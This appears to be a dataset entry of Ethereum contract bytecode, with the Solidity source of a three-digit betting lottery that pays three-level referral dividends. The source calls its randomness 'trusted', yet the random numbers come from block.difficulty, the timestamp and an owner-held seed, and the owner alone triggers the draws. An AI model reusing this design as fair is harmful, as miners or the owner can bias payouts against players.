0x6060604052600436106100b65763ffffffff60e060020a6000350416631195236981146100bb5780633ccfd60b146100d05780633f4ba83a146100e35780635c975abb146100f65780638456cb591461011d5780638da5cb5b146101305780638e0055531461015f57806394a89233146101795780639652713e1461018c578063a055d455146101ad578063d5b2a01a146101ce578063e410a0c6146101f8578063e80db5db1461021e578063f2fde38b14610231575b600080fd5b34156100c657600080fd5b6100ce610250565b005b34156100db57600080fd5b6100ce610275565b34156100ee57600080fd5b6100ce6102f7565b341561010157600080fd5b610109610376565b604051901515815260200160405180910390f35b341561012857600080fd5b6100ce610386565b341561013b57600080fd5b61014361040a565b604051600160a060020a03909116815260200160405180910390f35b341561016a57600080fd5b6100ce61ffff60043516610419565b341561018457600080fd5b61010961047a565b6100ce64ffffffffff60043516602435600160a060020a036044351661047f565b6100ce64ffffffffff60043516602435600160a060020a03604435166105b1565b34156101d957600080fd5b6101e16105cc565b60405161ffff909116815260200160405180910390f35b341561020357600080fd5b6100ce600160a060020a036004351661ffff602435166105dd565b341561022957600080fd5b6101436106ca565b341561023c57600080fd5b6100ce600160a060020a03600435166106d9565b60015433600160a060020a0390811691161461026b57600080fd5b610273610275565b565b60005433600160a060020a03908116911614806102a0575060015433600160a060020a039081169116145b15156102ab57600080fd5b600030600160a060020a031631111561027357600154600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561027357600080fd5b60005433600160a060020a0390811691161461031257600080fd5b60005460a060020a900460ff16151561032a57600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60005460a060020a900460ff1681565b60005433600160a060020a039081169116146103a157600080fd5b60005460a060020a900460ff16156103b857600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600054600160a060020a031681565b61271061ffff8216111561042c57600080fd5b60005433600160a060020a0390811691161461044757600080fd5b6001805461ffff90921660a060020a0275ffff000000000000000000000000000000000000000019909216919091179055565b600190565b60015460009033600160a060020a0390811691161461049d57600080fd5b60005460a060020a900460ff16156104b457600080fd5b600154600160a060020a0316632917f1628560405160e060020a63ffffffff841602815264ffffffffff9091166004820152602401602060405180830381600087803b151561050257600080fd5b5af1151561050f57600080fd5b5050506040518051915050600061ffff82161161052b57600080fd5b828161ffff16111561053f57829003610543565b5060005b600154600160a060020a031663cf7e69f8858360405160e060020a63ffffffff851602815264ffffffffff909216600483015261ffff166024820152604401600060405180830381600087803b151561059b57600080fd5b5af115156105a857600080fd5b50505050505050565b60015433600160a060020a039081169116146100b657600080fd5b60015460a060020a900461ffff1681565b600061271061ffff831611156105f257600080fd5b60005433600160a060020a0390811691161461060d57600080fd5b506001805475ffff0000000000000000000000000000000000000000191660a060020a61ffff84160217905581600160a060020a038116634d6a813a6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561067757600080fd5b5af1151561068457600080fd5b50505060405180519050151561069957600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555050565b600154600160a060020a031681565b60005433600160a060020a039081169116146106f457600080fd5b600160a060020a038116151561070957600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a7230582013c2cd167160f81f9bef64201537baa9981d2947b67aa3e7b79b9e165cef4d340029
|
{"success": true, "error": null, "results": {}}
| 9,139 |
0xe8a6d8e9a08281b0e235ad54ddedd98920517dff
|
pragma solidity ^0.4.24;
// * Digital Game - Version 1.
// * The user selects three digits, the platform generates trusted random
// number to lottery and distributes the reward.
contract DigitalGame {
/// *** Constants
uint constant MIN_BET_MONEY = 10 finney;
uint constant MAX_BET_MONEY = 10 ether;
uint constant MIN_BET_NUMBER = 2;
uint constant MAX_STAGE = 4;
// Calculate invitation dividends based on bet amount
// - first generation reward: 3%
// - second generation reward: 2%
// - third generation reward: 1%
uint constant FIRST_GENERATION_REWARD = 3;
uint constant SECOND_GENERATION_REWARD = 2;
uint constant THIRD_GENERATION_REWARD = 1;
address public OWNER_ADDR;
address public RECOMM_ADDR;
address public SPARE_RECOMM_ADDR;
/// *** Struct
struct UserRecomm {
address addr;
}
struct StageInfo {
uint round;
bytes32 seedHash;
uint userNumber;
uint amount;
uint lastTime;
}
struct UserBet {
address addr;
uint amount;
uint[] content;
uint count;
uint createAt;
}
address[] private userRecomms;
UserBet[] private WaitAwardBets;
/// *** Mapping
mapping(uint => StageInfo) public stages;
mapping(address => address) public users;
mapping(uint => UserBet[]) public userBets;
mapping(uint => mapping(uint => mapping(address => bool))) private userBetAddrs;
/// *** Event
event eventUserBet(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint createAt
);
event eventLottery(
string eventType,
uint stage,
uint round,
uint[] lotteryContent,
uint createAt
);
event eventDividend(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint level,
address recommAddr,
uint recommReward,
uint createAt
);
event eventReward(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint[] lotteryContent,
uint reward,
uint createAt
);
/// *** Modifier
modifier checkBetTime(uint lastTime) {
require(now <= lastTime, 'Current time is not allowed to bet');
_;
}
modifier checkRewardTime(uint lastTime) {
require(
now >= lastTime + 1 hours,
'Current time is not allowed to reward'
);
_;
}
modifier isSecretNumber(uint stage, string seed) {
require(
keccak256(abi.encodePacked(seed)) == stages[stage].seedHash,
'Encrypted numbers are illegal'
);
_;
}
modifier verifyStage(uint stage) {
require(
stage >= 1 && stage <= MAX_STAGE,
'Stage no greater than MAX_STAGE'
);
_;
}
modifier verifySeedHash(uint stage, bytes32 seedHash) {
require(
stages[stage].seedHash == seedHash && seedHash != 0,
'The hash of the stage is illegal'
);
_;
}
modifier onlyOwner() {
require(OWNER_ADDR == msg.sender, 'Permission denied');
_;
}
constructor(
bytes32[4] hashes,
uint lastTime,
address recommAddr,
address spareRecommAddr
) public {
for (uint i = 1; i <= MAX_STAGE; i++) {
stages[i].round = 1;
stages[i].seedHash = hashes[i-1];
stages[i].userNumber = 0;
stages[i].amount = 0;
stages[i].lastTime = lastTime;
}
OWNER_ADDR = msg.sender;
RECOMM_ADDR = recommAddr;
SPARE_RECOMM_ADDR = spareRecommAddr;
}
function bet(
uint stage,
uint round,
uint[] content,
uint count,
address recommAddr,
bytes32 seedHash
) public
payable
verifyStage(stage)
verifySeedHash(stage, seedHash)
checkBetTime(stages[stage].lastTime) {
require(stages[stage].round == round, 'Round illegal');
require(content.length == 3, 'The bet is 3 digits');
require((
msg.value >= MIN_BET_MONEY
&& msg.value <= MAX_BET_MONEY
&& msg.value == MIN_BET_MONEY * (10 ** (stage - 1)) * count
),
'The amount of the bet is illegal'
);
require(msg.sender != recommAddr, 'The recommender cannot be himself');
if (users[msg.sender] == 0) {
if (recommAddr != RECOMM_ADDR) {
require(
users[recommAddr] != 0,
'Referrer is not legal'
);
}
users[msg.sender] = recommAddr;
}
generateUserRelation(msg.sender, 3);
require(userRecomms.length <= 3, 'User relationship error');
sendInviteDividends(stage, round, count, content);
if (!userBetAddrs[stage][stages[stage].round][msg.sender]) {
stages[stage].userNumber++;
userBetAddrs[stage][stages[stage].round][msg.sender] = true;
}
userBets[stage].push(UserBet(
msg.sender,
msg.value,
content,
count,
now
));
emit eventUserBet(
'userBet',
msg.sender,
msg.value,
stage,
round,
count,
content,
now
);
}
function generateUserRelation(
address addr,
uint generation
) private returns(bool) {
userRecomms.push(users[addr]);
if (users[addr] != RECOMM_ADDR && users[addr] != 0 && generation > 1) {
generateUserRelation(users[addr], generation - 1);
}
}
function sendInviteDividends(
uint stage,
uint round,
uint count,
uint[] content
) private {
uint[3] memory GENERATION_REWARD = [
FIRST_GENERATION_REWARD,
SECOND_GENERATION_REWARD,
THIRD_GENERATION_REWARD
];
uint recomms = 0;
for (uint j = 0; j < userRecomms.length; j++) {
recomms += msg.value * GENERATION_REWARD[j] / 100;
userRecomms[j].transfer(msg.value * GENERATION_REWARD[j] / 100);
emit eventDividend(
'dividend',
msg.sender,
msg.value,
stage,
round,
count,
content,
j,
userRecomms[j],
msg.value * GENERATION_REWARD[j] / 100,
now
);
}
stages[stage].amount += (msg.value - recomms);
delete userRecomms;
}
function distributionReward(
uint stage,
string seed,
bytes32 seedHash
) public
checkRewardTime(stages[stage].lastTime)
isSecretNumber(stage, seed)
verifyStage(stage)
onlyOwner {
if (stages[stage].userNumber >= MIN_BET_NUMBER) {
uint[] memory randoms = generateRandom(
seed,
stage,
userBets[stage].length
);
require(randoms.length == 3, 'Random number is illegal');
bool isReward = CalcWinnersAndReward(randoms, stage);
emit eventLottery(
'lottery',
stage,
stages[stage].round,
randoms,
now
);
if (isReward) {
stages[stage].amount = 0;
}
delete userBets[stage];
stages[stage].round += 1;
stages[stage].userNumber = 0;
stages[stage].seedHash = seedHash;
stages[stage].lastTime += 24 hours;
} else {
stages[stage].lastTime += 24 hours;
}
}
function CalcWinnersAndReward(
uint[] randoms,
uint stage
) private onlyOwner returns(bool) {
uint counts = 0;
for (uint i = 0; i < userBets[stage].length; i++) {
if (randoms[0] == userBets[stage][i].content[0]
&& randoms[1] == userBets[stage][i].content[1]
&& randoms[2] == userBets[stage][i].content[2]) {
counts = counts + userBets[stage][i].count;
WaitAwardBets.push(UserBet(
userBets[stage][i].addr,
userBets[stage][i].amount,
userBets[stage][i].content,
userBets[stage][i].count,
userBets[stage][i].createAt
));
}
}
if (WaitAwardBets.length == 0) {
for (uint j = 0; j < userBets[stage].length; j++) {
if ((randoms[0] == userBets[stage][j].content[0]
&& randoms[1] == userBets[stage][j].content[1])
|| (randoms[1] == userBets[stage][j].content[1]
&& randoms[2] == userBets[stage][j].content[2])
|| (randoms[0] == userBets[stage][j].content[0]
&& randoms[2] == userBets[stage][j].content[2])) {
counts += userBets[stage][j].count;
WaitAwardBets.push(UserBet(
userBets[stage][j].addr,
userBets[stage][j].amount,
userBets[stage][j].content,
userBets[stage][j].count,
userBets[stage][j].createAt
));
}
}
}
if (WaitAwardBets.length == 0) {
for (uint k = 0; k < userBets[stage].length; k++) {
if (randoms[0] == userBets[stage][k].content[0]
|| randoms[1] == userBets[stage][k].content[1]
|| randoms[2] == userBets[stage][k].content[2]) {
counts += userBets[stage][k].count;
WaitAwardBets.push(UserBet(
userBets[stage][k].addr,
userBets[stage][k].amount,
userBets[stage][k].content,
userBets[stage][k].count,
userBets[stage][k].createAt
));
}
}
}
uint extractReward = stages[stage].amount / 100;
OWNER_ADDR.transfer(extractReward);
RECOMM_ADDR.transfer(extractReward);
SPARE_RECOMM_ADDR.transfer(extractReward);
if (WaitAwardBets.length != 0) {
issueReward(stage, extractReward, randoms, counts);
delete WaitAwardBets;
return true;
}
stages[stage].amount = stages[stage].amount - (extractReward * 3);
return false;
}
function issueReward(
uint stage,
uint extractReward,
uint[] randoms,
uint counts
) private onlyOwner {
uint userAward = stages[stage].amount - (extractReward * 3);
for (uint m = 0; m < WaitAwardBets.length; m++) {
uint reward = userAward * WaitAwardBets[m].count / counts;
WaitAwardBets[m].addr.transfer(reward);
emit eventReward(
'reward',
WaitAwardBets[m].addr,
WaitAwardBets[m].amount,
stage,
stages[stage].round,
WaitAwardBets[m].count,
WaitAwardBets[m].content,
randoms,
reward,
now
);
}
}
function generateRandom(
string seed,
uint stage,
uint betNum
) private view onlyOwner
isSecretNumber(stage, seed) returns(uint[]) {
uint[] memory randoms = new uint[](3);
for (uint i = 0; i < 3; i++) {
randoms[i] = uint(
keccak256(abi.encodePacked(betNum, block.difficulty, seed, now, i))
) % 9 + 1;
}
return randoms;
}
function setDefaultRecommAddr(address _RECOMM_ADDR) public onlyOwner {
RECOMM_ADDR = _RECOMM_ADDR;
}
function setSpareRecommAddr(address _SPARE_RECOMM_ADDR) public onlyOwner {
SPARE_RECOMM_ADDR = _SPARE_RECOMM_ADDR;
}
}
|
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806329a03d8d146100a957806336af81511461012a578063632e1dfe1461016d5780636f800277146101c4578063766d30aa1461021b578063845ddcb21461025e578063a87430ba146102c3578063bb9f227d14610346578063bbcfab641461039d578063c242afaf14610429575b600080fd5b3480156100b557600080fd5b5061012860048036038101908080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080356000191690602001909291905050506104ce565b005b34801561013657600080fd5b5061016b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae3565b005b34801561017957600080fd5b50610182610beb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101d057600080fd5b506101d9610c10565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561022757600080fd5b5061025c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c36565b005b34801561026a57600080fd5b5061028960048036038101908080359060200190929190505050610d3e565b6040518086815260200185600019166000191681526020018481526020018381526020018281526020019550505050505060405180910390f35b3480156102cf57600080fd5b50610304600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d74565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035257600080fd5b5061035b610da7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103a957600080fd5b506103d26004803603810190808035906020019092919080359060200190929190505050610dcd565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390f35b6104cc60048036038101908080359060200190929190803590602001909291908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050610e39565b005b606060006005600086815260200190815260200160002060040154610e108101421015151561058b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f43757272656e742074696d65206973206e6f7420616c6c6f77656420746f207281526020017f657761726400000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8585600560008381526020019081526020016000206001015460001916816040516020018082805190602001908083835b6020831015156105e157805182526020820191506020810190506020830392506105bc565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310151561064a5780518252602082019150602081019050602083039250610625565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019161415156106f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f456e63727970746564206e756d626572732061726520696c6c6567616c00000081525060200191505060405180910390fd5b8760018110158015610703575060048111155b1515610777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5374616765206e6f2067726561746572207468616e204d41585f53544147450081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561083b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5065726d697373696f6e2064656e69656400000000000000000000000000000081525060200191505060405180910390fd5b6002600560008b815260200190815260200160002060020154101515610ab05761087c888a600760008d8152602001908152602001600020805490506118d3565b9550600386511415156108f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f52616e646f6d206e756d62657220697320696c6c6567616c000000000000000081525060200191505060405180910390fd5b610901868a611c7b565b94507f8c9c51fc348aaa3fd9530fb608e2631bbec7d6071c699f887a5eb0c60c60566e89600560008c8152602001908152602001600020600001548842604051808060200186815260200185815260200180602001848152602001838103835260078152602001807f6c6f747465727900000000000000000000000000000000000000000000000000815250602001838103825285818151815260200191508051906020019060200280838360005b838110156109cb5780820151818401526020810190506109b0565b50505050905001965050505050505060405180910390a18415610a05576000600560008b8152602001908152602001600020600301819055505b600760008a81526020019081526020016000206000610a2491906135c2565b6001600560008b8152602001908152602001600020600001600082825401925050819055506000600560008b81526020019081526020016000206002018190555086600560008b8152602001908152602001600020600101816000191690555062015180600560008b815260200190815260200160002060040160008282540192505081905550610ad8565b62015180600560008b8152602001908152602001600020600401600082825401925050819055505b505050505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5065726d697373696f6e2064656e69656400000000000000000000000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610cfa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5065726d697373696f6e2064656e69656400000000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60056020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154905085565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760205281600052604060002081815481101515610de857fe5b9060005260206000209060050201600091509150508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060030154908060040154905084565b8560018110158015610e4c575060048111155b1515610ec0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5374616765206e6f2067726561746572207468616e204d41585f53544147450081525060200191505060405180910390fd5b86828060001916600560008481526020019081526020016000206001015460001916148015610ef757506000600102816000191614155b1515610f6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5468652068617368206f662074686520737461676520697320696c6c6567616c81525060200191505060405180910390fd5b600560008a815260200190815260200160002060040154804211151515611020576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f43757272656e742074696d65206973206e6f7420616c6c6f77656420746f206281526020017f657400000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b88600560008c8152602001908152602001600020600001541415156110ad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f526f756e6420696c6c6567616c0000000000000000000000000000000000000081525060200191505060405180910390fd5b60038851141515611126576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f546865206265742069732033206469676974730000000000000000000000000081525060200191505060405180910390fd5b662386f26fc1000034101580156111455750678ac7230489e800003411155b801561116157508660018b03600a0a662386f26fc10000020234145b15156111d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f54686520616d6f756e74206f66207468652062657420697320696c6c6567616c81525060200191505060405180910390fd5b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561129f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f546865207265636f6d6d656e6465722063616e6e6f742062652068696d73656c81526020017f660000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156114e257600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141515611463576000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611462576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f5265666572726572206973206e6f74206c6567616c000000000000000000000081525060200191505060405180910390fd5b5b85600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6114ed336003612c72565b50600380805490501115151561156b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f557365722072656c6174696f6e73686970206572726f7200000000000000000081525060200191505060405180910390fd5b6115778a8a898b612ef1565b600860008b81526020019081526020016000206000600560008d815260200190815260200160002060000154815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116b957600560008b8152602001908152602001600020600201600081548092919060010191905055506001600860008c81526020019081526020016000206000600560008e815260200190815260200160002060000154815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600760008b815260200190815260200160002060a0604051908101604052803373ffffffffffffffffffffffffffffffffffffffff1681526020013481526020018a8152602001898152602001428152509080600181540180825580915050906001820390600052602060002090600502016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906117a29291906135e6565b5060608201518160030155608082015181600401555050507f6045c771c7143102866f3129ef6eaec4acb5cd24d91ab14a96a708e61f60ec5933348c8c8b8d4260405180806020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200188815260200187815260200186815260200185815260200180602001848152602001838103835260078152602001807f7573657242657400000000000000000000000000000000000000000000000000815250602001838103825285818151815260200191508051906020019060200280838360005b838110156118ad578082015181840152602081019050611892565b50505050905001995050505050505050505060405180910390a150505050505050505050565b60608060003373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5065726d697373696f6e2064656e69656400000000000000000000000000000081525060200191505060405180910390fd5b8486600560008381526020019081526020016000206001015460001916816040516020018082805190602001908083835b6020831015156119f257805182526020820191506020810190506020830392506119cd565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083101515611a5b5780518252602082019150602081019050602083039250611a36565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916141515611b01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f456e63727970746564206e756d626572732061726520696c6c6567616c00000081525060200191505060405180910390fd5b6003604051908082528060200260200182016040528015611b315781602001602082028038833980820191505090505b509350600092505b6003831015611c6d576001600987448b42886040516020018086815260200185815260200184805190602001908083835b602083101515611b8f5780518252602082019150602081019050602083039250611b6a565b6001836020036101000a038019825116818451168082178552505050505050905001838152602001828152602001955050505050506040516020818303038152906040526040518082805190602001908083835b602083101515611c085780518252602082019150602081019050602083039250611be3565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060019004811515611c4257fe5b06018484815181101515611c5257fe5b90602001906020020181815250508280600101935050611b39565b839450505050509392505050565b6000806000806000803373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611d48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5065726d697373696f6e2064656e69656400000000000000000000000000000081525060200191505060405180910390fd5b60009450600093505b6007600088815260200190815260200160002080549050841015612147576007600088815260200190815260200160002084815481101515611d8f57fe5b90600052602060002090600502016002016000815481101515611dae57fe5b9060005260206000200154886000815181101515611dc857fe5b90602001906020020151148015611e3f57506007600088815260200190815260200160002084815481101515611dfa57fe5b90600052602060002090600502016002016001815481101515611e1957fe5b9060005260206000200154886001815181101515611e3357fe5b90602001906020020151145b8015611eab57506007600088815260200190815260200160002084815481101515611e6657fe5b90600052602060002090600502016002016002815481101515611e8557fe5b9060005260206000200154886002815181101515611e9f57fe5b90602001906020020151145b1561213a576007600088815260200190815260200160002084815481101515611ed057fe5b90600052602060002090600502016003015485019450600460a060405190810160405280600760008b815260200190815260200160002087815481101515611f1457fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600760008b815260200190815260200160002087815481101515611f8157fe5b9060005260206000209060050201600101548152602001600760008b815260200190815260200160002087815481101515611fb857fe5b906000526020600020906005020160020180548060200260200160405190810160405280929190818152602001828054801561201357602002820191906000526020600020905b815481526020019060010190808311611fff575b50505050508152602001600760008b81526020019081526020016000208781548110151561203d57fe5b9060005260206000209060050201600301548152602001600760008b81526020019081526020016000208781548110151561207457fe5b9060005260206000209060050201600401548152509080600181540180825580915050906001820390600052602060002090600502016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906121219291906135e6565b5060608201518160030155608082015181600401555050505b8380600101945050611d51565b6000600480549050141561269357600092505b600760008881526020019081526020016000208054905083101561269257600760008881526020019081526020016000208381548110151561219857fe5b906000526020600020906005020160020160008154811015156121b757fe5b90600052602060002001548860008151811015156121d157fe5b906020019060200201511480156122485750600760008881526020019081526020016000208381548110151561220357fe5b9060005260206000209060050201600201600181548110151561222257fe5b906000526020600020015488600181518110151561223c57fe5b90602001906020020151145b8061231f5750600760008881526020019081526020016000208381548110151561226e57fe5b9060005260206000209060050201600201600181548110151561228d57fe5b90600052602060002001548860018151811015156122a757fe5b9060200190602002015114801561231e575060076000888152602001908152602001600020838154811015156122d957fe5b906000526020600020906005020160020160028154811015156122f857fe5b906000526020600020015488600281518110151561231257fe5b90602001906020020151145b5b806123f65750600760008881526020019081526020016000208381548110151561234557fe5b9060005260206000209060050201600201600081548110151561236457fe5b906000526020600020015488600081518110151561237e57fe5b906020019060200201511480156123f5575060076000888152602001908152602001600020838154811015156123b057fe5b906000526020600020906005020160020160028154811015156123cf57fe5b90600052602060002001548860028151811015156123e957fe5b90602001906020020151145b5b1561268557600760008881526020019081526020016000208381548110151561241b57fe5b90600052602060002090600502016003015485019450600460a060405190810160405280600760008b81526020019081526020016000208681548110151561245f57fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600760008b8152602001908152602001600020868154811015156124cc57fe5b9060005260206000209060050201600101548152602001600760008b81526020019081526020016000208681548110151561250357fe5b906000526020600020906005020160020180548060200260200160405190810160405280929190818152602001828054801561255e57602002820191906000526020600020905b81548152602001906001019080831161254a575b50505050508152602001600760008b81526020019081526020016000208681548110151561258857fe5b9060005260206000209060050201600301548152602001600760008b8152602001908152602001600020868154811015156125bf57fe5b9060005260206000209060050201600401548152509080600181540180825580915050906001820390600052602060002090600502016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061266c9291906135e6565b5060608201518160030155608082015181600401555050505b828060010193505061215a565b5b60006004805490501415612a9b57600091505b6007600088815260200190815260200160002080549050821015612a9a5760076000888152602001908152602001600020828154811015156126e457fe5b9060005260206000209060050201600201600081548110151561270357fe5b906000526020600020015488600081518110151561271d57fe5b9060200190602002015114806127935750600760008881526020019081526020016000208281548110151561274e57fe5b9060005260206000209060050201600201600181548110151561276d57fe5b906000526020600020015488600181518110151561278757fe5b90602001906020020151145b806127fe575060076000888152602001908152602001600020828154811015156127b957fe5b906000526020600020906005020160020160028154811015156127d857fe5b90600052602060002001548860028151811015156127f257fe5b90602001906020020151145b15612a8d57600760008881526020019081526020016000208281548110151561282357fe5b90600052602060002090600502016003015485019450600460a060405190810160405280600760008b81526020019081526020016000208581548110151561286757fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600760008b8152602001908152602001600020858154811015156128d457fe5b9060005260206000209060050201600101548152602001600760008b81526020019081526020016000208581548110151561290b57fe5b906000526020600020906005020160020180548060200260200160405190810160405280929190818152602001828054801561296657602002820191906000526020600020905b815481526020019060010190808311612952575b50505050508152602001600760008b81526020019081526020016000208581548110151561299057fe5b9060005260206000209060050201600301548152602001600760008b8152602001908152602001600020858154811015156129c757fe5b9060005260206000209060050201600401548152509080600181540180825580915050906001820390600052602060002090600502016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190612a749291906135e6565b5060608201518160030155608082015181600401555050505b81806001019250506126a6565b5b60646005600089815260200190815260200160002060030154811515612abd57fe5b0490506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b27573d6000